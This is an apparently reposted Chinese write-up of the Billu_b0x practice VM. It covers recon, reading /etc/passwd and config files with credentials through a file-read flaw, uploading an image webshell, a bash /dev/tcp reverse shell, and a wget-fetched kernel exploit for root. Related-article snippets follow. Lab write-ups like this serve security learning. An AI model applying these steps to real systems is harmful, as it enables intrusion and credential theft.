Billu_b0x靶机

news2024/11/24 12:56:32

信息收集

使用arp-scan 生成网络接口地址来查看ip

输入命令:

arp-scan -l

可以查看到我们的目标ip为192.168.187.153

在这里插入图片描述

nmap扫描端口开放

输入命令:

nmap -min-rate 10000 -p- 192.168.187.153

可以看到开放2个端口

在这里插入图片描述

nmap扫描端口信息

输入命令:

nmap -sC -sT -A -p 22,80 192.168.187.153

在这里插入图片描述

nmap漏洞脚本扫描

输入命令:

nmap --script=vuln 192.168.187.153

这里没有扫描可以利用的信息

在这里插入图片描述

查看web端

页面上有一个登录的地方,但是还不知道密码,不过提示了一句向我展示你的sql技巧,看样子是想让我们使用sql注入

在这里插入图片描述

扫描子目录

输入命令:

dirsearch -u http://192.168.187.153

可以发现一些子目录

在这里插入图片描述

输入命令:

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html -u http://192.168.187.153 -t 50

这里也看到了一些子目录,等下访问看看

在这里插入图片描述

这个目录下查看到phpinfo()信息

在这里插入图片描述

查看php配置信息

在这个下面可以看到allow_url_fopen是on状态,可以允许本地文件包含

在这里插入图片描述

发现登录页面

这里看到了另一个新的页面,但是我们现在没有密码,先去找密码

在这里插入图片描述

发现文件包含页面

这里的test目录下看到了一个新的提示

在这里插入图片描述

翻译内容,看来是要我们加上file参数,有可能这里就是文件包含的位置,试一下

在这里插入图片描述

构造url语句

get请求验证

我们先尝试了get请求下的文件包含语句,但是发现没有成功

http://192.168.187.153/test.php?file=../../../etc/passwd

在这里插入图片描述

post请求验证

接下来尝试一下post请求的文件包含语句。这里可以使用bp来实现,也可以在kali中借助curl这个工具实现,这里使用的后者

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=…/…/…/etc/passwd

发现成功回显了信息,证明确实是存在本地文件包含

在这里插入图片描述

利用文件包含读取文件信息

既然已经证实存在了文件包含,那我们可以读取很多之前看不到的文件的信息了

查看add.php

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=add.php

add.php是一个上传界面,但是功能无法使用,查看源码文件发现只是个页面,没有后台处理代码

在这里插入图片描述

拿到数据库的密码信息

查看c.php

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=c.php

在这里看到了疑似数据库的连接用户名和密码,等下可以去查看一下

billu:b0x_billu

在这里插入图片描述

登录数据库

返回phpmy页面尝试登录,发现成功登录。

在这里插入图片描述

发现版本信息

这里在右下角发现了很多版本的信息

在这里插入图片描述

发现用户信息

然后在这个位置又找到了一组登录的信息

biLLu:hEx_it

在这里插入图片描述

渗透思路

这里我们有三种思路可选

  • 可以从phpmyadmin的版本入手,查找有无对应的漏洞

输入命令:

searchsploit phpMyAdmin 3.4.7

但是没有找到,所以这条路行不通

在这里插入图片描述

  • phpmyadmin的相关配置文件一般都是config.inc.php

在我们当前可以利用文件包含阅读其他文件的基础上,我们可以查看这个配置文件中的内容和信息。可以猜测一下,这个配置文件的存放

位置就是在 phpMy的目录下,通过URL猜测路径默认在/var/www/phpmy下面

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=/var/www/phpmy/config.inc.php

直接发现了root用户的登录密码(我人傻了。这么简单吗,sql注入没用呢,主页面还没有登录呢,我勒个去!!!)

root:roottoor

在这里插入图片描述

尝试ssh登录

直接试试ssh登录root用户(还是很怀疑是不是有这么简单)

输入命令:

ssh root@192.168.187.153

输入密码roottoor 发现成功登录,然后直接找flag就行(我已经人傻了)

在这里插入图片描述

  • 第三种就是正常思路了,可以去主页面登录用户名的信息,然后继续去做就可以

登录主页面

虽然上面的方法已经成功拿到了root权限,但是还是想着继续从其他方向突破试试那我们就回到主页面登录尝试一下,然后发现成功登录

在这里插入图片描述

这里登录进来后,又看到了文件上传的地点

在这里插入图片描述

制作图片木马

尝试过了weevely的加密木马,无法连接,所以还是老老实实反弹shell吧,准备好一张可以上传的图片,可以提前试一下,然后准备好我们的php文件,配置好ip和端口

输入命令:

cat 1.gif 123.php > 2.gif

在这里插入图片描述

成功合成了图片

在这里插入图片描述

上传图片木马

点击上传后,发现成功上传

在这里插入图片描述

现在先开启监听

在这里插入图片描述

结合之前扫描到的子目录,我们可以推测照片在uploaded_images/这个目录下,打开发现果然存在

在这里插入图片描述

我们打开我们上传的图片木马,回到kali中可以看到并没有反弹成功,可见直接打开图片,并不会执行代码

在这里插入图片描述

利用文件包含执行图片木马中的php语句

这里我们可以使用文件包含来执行图片里的php语句

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=/var/www/uploaded_images/3.gif

在这里插入图片描述

但是kali中无法反弹成功

在这里插入图片描述

查询文件包含的函数

这里不知道为什么失败,查询一下当前页面的文件包含函数是什么

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=test.php

发现是readfile()这个参数

在这里插入图片描述

经过上网搜查readfile的功能,是属于任意文件读取**。**无法执行php代码。所以我们上传的php反弹语句无法执行

在这里插入图片描述

漏洞挖掘

然后这里实在是没思路了,后来找了半天问了一下大佬,才知道在panel.php这个页面中存在本地文件包含漏洞

我们查看一下这个文件

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=panel.php

发现了include()这个函数,那我们可以在这里进行一个文件包含漏洞的利用

在这里插入图片描述

构造一句话木马

还是利用图片木马的原理,不过这次我们需要构造一句话木马

在这里插入图片描述

再次合成图片木马

输入命令:

cat 1.gif shell.php > 4.gif

在这里插入图片描述

上传图片木马

显示上传成功

在这里插入图片描述

文件包含漏洞利用

上传成功了,那我们就先试试有没有效果,bp抓包一下,load=/uploaded_images/4.gif&continue=continue

上面的cmd配置为cmd=cat%20/etc/passwd;ls 这里的空格必须使用url编码才能执行成功,然后在右面也可以看到返回值

在这里插入图片描述

那我们先开启监听

在这里插入图片描述

配置反弹语句

echo “bash -i >& /dev/tcp/192.168.187.128/8888 0>&1” | bash

由于之前就实验了必须使用url编码才能够执行语句,所以我们先将语句进行url编码

在这里插入图片描述

然后在bp中执行这段语句

在这里插入图片描述

执行以后就可以发现反弹shell成功了

在这里插入图片描述

提权思路

这里提权思路有这几种

sudo提权,suid提权,内核漏洞提权,计划任务提权

正常情况下,我们肯定是要一个个去试试的,对于这个靶机而言,经过尝试后,最终要使用的提权方法为内核漏洞提权

查找内核信息

输入命令:

uname -a

在这里插入图片描述

输入命令:

cat /etc/issue.net

在这里插入图片描述

查找漏洞

然后去查找有无对应的漏洞

输入命令:

searchsploit linux 3.13

这里找到了一个符合条件的漏洞文件,拿来试试

在这里插入图片描述

漏洞利用

首先将这个文件拷贝到桌面上

输入命令:

searchsploit -m 37292.c

在这里插入图片描述

然后开启http临时服务

输入命令:

python3 -m http.server 80

在这里插入图片描述

在靶机中使用wget命令下载文件(最好在/tmp目录下)

在这里插入图片描述

查看一下文件是否传输成功,发现没有问题

在这里插入图片描述

提权成功

编译,赋权,执行

输入命令:

gcc 37292.c -o exp

chmod 777 exp

./exp

执行完以后就发现已经是root权限了

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1928894.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

工作中项目git如何管理,冲突,push不上去如何解决

主要涉及的知识点 现在公司中一般的git仓库的管理方式是怎么样的代码为什么push不上线上仓库如何解决代码冲突 分支管理方式 git checkout -b 分支名字 是创建并切换到分支 git push origin 分支名字 推到远程仓库分支上 主流的git管理方式 共用一个仓库,不同…

Golang | Leetcode Golang题解之第237题删除链表中的节点

题目: 题解: func deleteNode(node *ListNode) {node.Val node.Next.Valnode.Next node.Next.Next }

解决宝塔Spring Boot项目获取不到环境变量的问题

问题描述 在使用宝塔面板管理Spring Boot项目时,可能会遇到代码无法获取 /etc/profile 文件中设置的Linux环境变量的问题。虽然在SSH终端中可以正常获取,但在通过宝塔面板启动的Spring Boot项目中,环境变量却无法被读取。 解决方案&#xf…

TS 入门(三):Typescript函数与对象类型

目录 前言回顾1. 函数类型a. 基本函数类型b. 可选参数和默认参数c. 剩余参数 2. 对象类型a. 基本对象类型b. 可选属性和只读属性 3. 类型别名和接口a. 类型别名b. 接口扩展 4. 类型推断和上下文类型a. 类型推断b. 上下文类型 扩展知识点:函数重载结语 前言 在前两章…

实验06 持续集成测试

知识点 集成测试定义 集成测试是将多个单元组合起来形成更大的单元,并测试它们是否能协同工作形成子系统。一种旨在暴露单元接口之间、组件/系统间交互或协同工作时所存在的缺陷的测试。 集成测试关注的问题 模块间数据传递是否正确。一个模块的功能是否影响另一…

[iOS]内存分区

[iOS]内存分区 文章目录 [iOS]内存分区五大分区栈区堆区全局区常量区代码区验证内存使用注意事项总结 函数栈堆栈溢出栈的作用 参考博客 在iOS中,内存主要分为栈区、堆区、全局区、常量区、代码区五大区域 还记得OC是C的超类 所以C的内存分区也是一样的 iOS系统中&a…

文章解读与仿真程序复现思路——电力自动化设备EI\CSCD\北大核心《考虑频率不同响应阶段的惯量评估优化策略》

本专栏栏目提供文章与程序复现思路,具体已有的论文与论文源程序可翻阅本博主免费的专栏栏目《论文与完整程序》 论文与完整源程序_电网论文源程序的博客-CSDN博客https://blog.csdn.net/liang674027206/category_12531414.html 电网论文源程序-CSDN博客电网论文源…

嵌入式人工智能(6-树莓派4B按键输入控制LED)

1、按键 按键的原理都是一样,通过按键开关的按下导通,抬起断开的情况,GPIO引脚来检测其是否有电流流入。GPIO有input()方法,对于GPIO引脚检测电流,不能让其引脚悬空,否则引脚会受周边环境电磁干扰产生微弱…

《昇思25天学习打卡营第15天|计算机视觉-SSD目标检测》

FCN图像语义分割&ResNet50迁移学习&ResNet50图像分类&ShuffleNet图像分类&SSD目标检测 SSD目标检测 模型简介 SSD,全称Single Shot MultiBox Detector,是Wei Liu在ECCV 2016上提出的一种目标检测算法。使用Nvidia Titan X在VOC 2007测…

重塑水利未来:智慧水利解决方案的探索与实践,从物联网、大数据到人工智能,科技如何赋能水利行业,实现智慧化管理与决策

本文关键词:智慧水利、智慧水利工程、智慧水利发展前景、智慧水利技术、智慧水利信息化系统、智慧水利解决方案、数字水利和智慧水利、数字水利工程、数字水利建设、数字水利概念、人水和协、智慧水库、智慧水库管理平台、智慧水库建设方案、智慧水库解决方案、智慧…

达梦数据库的系统视图v$systeminfo

达梦数据库的系统视图v$systeminfo 在达梦数据库(DM Database)中,V$SYSTEMINFO 是一个系统视图,用于显示数据库实例的系统信息。这个视图提供了关于数据库实例的运行状态、配置参数、资源使用情况等重要信息,对于数据…

linux端口,进程管理,主机状态监控

linux端口,进程管理,主机状态监控 一、端口 1、什么是端口?2、端口的划分2、查看端口占用 二、进程 1、什么是进程2、查看进程信息2、关闭进程 三、主机状态监控 1、查看资源占用2、磁盘信息监控3、查看网络情况 四、命令总结 一、端口 1、什么是端口…

【089】基于SpringBoot+Vue+小程序实现的在线点餐小程序

系统介绍 基于SpringBootVue小程序实现的在线点餐小程序 基于SpringBootVue小程序实现的在线点餐小程序采用前后端分离的架构方式,系统分为管理员、员工、用户三种角色,实现了用户点餐、订单生成、模拟支付、菜单管理、账号管理、角色管理、分类管理、菜…

什么是边缘计算技术和边缘计算平台?

随着物联网、5G技术和人工智能的不断发展,数据的规模和种类也在快速增加。在这种背景下,传统的云计算模式面临着一些问题,例如延迟高、网络拥塞等,这些问题限制了数据的处理速度和效率,降低了用户的使用体验。为了解决…

GraphRAG→必然桥梁or过渡折中?

GraphRAG→是未来符号与连接主义的必然桥梁 or AGI深度推理的过渡折中? 随着微软前几天发布开源的GraphRAG,进而又带动了领域GenAI的热潮,借着这股热潮,结合之前自己对LLM复杂推理的思考说一下自己关于LLM与泛RAG的理解延展&#…

DDei在线设计器-数据格式说明

数据格式说明 DDei的所有设计数据都以文件为单位保存在一个JSON对象中。JSON对象包含了全量的页签、舞台、图层、控件的位置以及属性信息。开发人员可以存储这个JSON到服务端数据库中,从而轻易的实现保存功能;也解析这个JSON,将其转换成自己业…

莆田外贸建站公司推荐的商会wordpress主题

垂钓用品wordpress外贸模板 钓鱼佬们用的东西鱼饵、鱼竿、支架、钓箱、渔线轮、鱼竿等垂钓用品wordpress外贸模板。 https://www.jianzhanpress.com/?p3973 户外灯具wordpress外贸站模板 米泡、路灯、地脚地砖灯、草坪灯、太阳能灯、投光灯户外灯具wordpress外贸站模板。 …

GNSS技术干货(34):天灵灵 地灵灵 不如C/N0灵

在GPS接收机研发测试过程中,作为硬件射频工程师最关心的测试项目是传导载噪比C/N0(carrier-to-noise ratio)值,因为它是非常重要的参数指标,可以评估接收机端收到的卫星信号强度,反映硬件射频链路的质量&am…

C语言中的指针:掌握内存的钥匙

C语言中的指针:掌握内存的钥匙 引言 C语言是一种结构化编程语言,它提供了对硬件底层的直接访问,其中最强大的特性之一就是指针。指针允许程序员直接操作内存地址,这对于理解程序的内部工作原理以及优化代码性能至关重要。本文将深…

python如何判断变量是否可迭代

python如何判断变量是否可迭代?方法如下: 方法一: 适用于python2和python3 >>> from collections import Iterable >>> isinstance("str", Iterable) True 方法二: 适用于python3 s "hello …